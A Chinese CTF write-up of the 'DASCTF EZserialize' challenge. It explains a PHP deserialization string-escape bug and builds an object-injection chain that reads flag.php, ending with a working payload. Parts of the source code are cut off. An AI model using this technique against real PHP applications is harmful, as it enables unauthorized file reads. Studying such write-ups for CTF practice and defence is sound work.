DASCTF EZserialize

源码

 username = $a;
        $this->password = $b;
    }
}
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

审计源码,把read和write函数搜一搜,发现这是字符串逃逸。

建议参考文章 [https://www.cnblogs.com/tr1ple/p/11876441.html]

比如说,经过read和write 加工后
string(66) "O:1:"A":2:{s:8:"username";s:12:"**";s:8:"password";s:3:"123";}"
没经过时
string(72) "O:1:"A":2:{s:8:"username";s:12:"\0\0\0\0\0\0";s:8:"password";s:3:"123";}"

我们知道,在username后面的那个s:12代表的是字符串的长度,原本是在最后的\0,在第一个的时候,就会往后检索,把后面的字符包括进来在username里面,再进行序列化,正常的情况下,就肯定不能反序列化成功,返回bool false。但是我们通过控制过滤减少的字符数,在把后面的字符全部包掉。再加上我们需要的东西构造POC链。



我们测试可以知道,18->9,前面这个需要是6的倍数,因为\0\0\0为一组。

思路:将A的属性实例化为B,然后将B的属性实例化为C对象,触发魔法方法读取flag。

b=$c;
//var_dump($b);
echo(serialize($b));
?>

得到O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
加上序列化的内容

s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

需要逃逸的字数

因为逃逸数是6的倍数,比如6->3,那这里是22,得填充东西变成24,则可以48逃逸24。所以这里填充一个字母。

payload:
$a=new A('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
'a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}');

你可能感兴趣的:(DASCTF EZserialize)